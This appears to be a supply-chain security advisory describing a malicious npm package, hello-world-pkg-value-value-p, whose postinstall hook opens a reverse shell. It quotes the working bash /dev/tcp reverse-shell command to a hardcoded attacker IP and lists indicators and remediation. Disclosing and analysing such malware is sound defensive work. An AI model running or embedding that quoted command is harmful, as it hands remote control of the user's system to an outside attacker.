Malicious code in hello-world-pkg-value-value-p (npm)
The npm package hello-world-pkg-value-value-p contains malicious code in its postinstall hook that executes a reverse shell to attacker-controlled IP 52.249.218.132 on port 8080. Installation grants unauthenticated remote code execution to the attacker with the privileges of the installing user.
- Disclosed
- Last updated
- Blast radius
- Any developer or CI system installing the malicious package
- Ecosystems
- Attack vectors
- Affected entities
- hello-world-pkg-value-value-p · 1.0.11
The npm package hello-world-pkg-value-value-p version 1.0.11 was identified as malicious by both Amazon Inspector and the OpenSSF Package Analysis project. The package contains a postinstall hook that executes node index.js, which in turn runs execSync('bash -i >& /dev/tcp/52.249.218.132/8080 0>&1').
This command establishes an interactive bash reverse shell to the hardcoded attacker IP address 52.249.218.132 on TCP port 8080. Any developer or CI system that installs this package via npm install will immediately grant an interactive shell session to the attacker, running with the privileges of the user performing the installation.
The package metadata presents a false cover story describing it as a "minimal npm" package with no legitimate functionality. The sole effect of installation is to open a remote shell on the installer's host, making this unambiguous unauthenticated remote code execution with no legitimate use case.
The malicious package was identified and reported through the OpenSSF's malicious packages tracking project (MAL-2026-3714).
Indicators of compromise
- Packages
- hello-world-pkg-value-value-p
- IPs
- 52.249.218.132
Remediation
- Immediately uninstall hello-world-pkg-value-value-p from all systems
- Audit npm install logs to identify any systems that installed this package
- Assume any system that installed this package has been compromised; perform forensic analysis and credential rotation
- Review and revoke any credentials or tokens that may have been exposed on affected systems
- Block the attacker IP 52.249.218.132 at network perimeter
- Implement npm package scanning and verification in CI/CD pipelines to detect malicious packages before installation
Sources
- GitHub Advisory GHSA-7mhg-447r-w46p · GitHub Advisory Database
Cite this entry
"Malicious code in hello-world-pkg-value-value-p (npm)." supplychainattack.org, Supply Chain Attack Incident Catalog. Disclosed July 27, 2026; last updated July 28, 2026. https://supplychainattack.org/incident/malicious-code-in-hello-world-pkg-value-value-p-npm-20le3c
Suggest a correction
Found an error or have a newer source? Corrections to factual errors take priority over new entries.
Related incidents
- activecritical
Malware in @vaultflow/update-flow
Malware was discovered in the npm package @vaultflow/update-flow. Systems with this package installed or running are considered fully compromised, with potential for complete system takeover.
npmCompromised package - activecritical
Malware in @vaultflow/create-flow
Malware discovered in the npm package @vaultflow/create-flow. Systems with this package installed are considered fully compromised and require immediate remediation.
npmCompromised package - resolvedcritical
Malicious code in prettier-lint-lenz (npm)
The npm package prettier-lint-lenz is a malicious imposter of the legitimate Prettier formatter. It executes a postinstall script that deploys clipboard-stealing malware on Windows systems, establishing persistence via a scheduled task that exfiltrates clipboard contents to a hardcoded C2 server.
npmCompromised packageTyposquatting - activecritical
Malware in @wrenfield/viem
The npm package @wrenfield/viem contains malware that grants full system compromise to an outside entity. Any computer with this package installed or running should be considered fully compromised.
npmCompromised package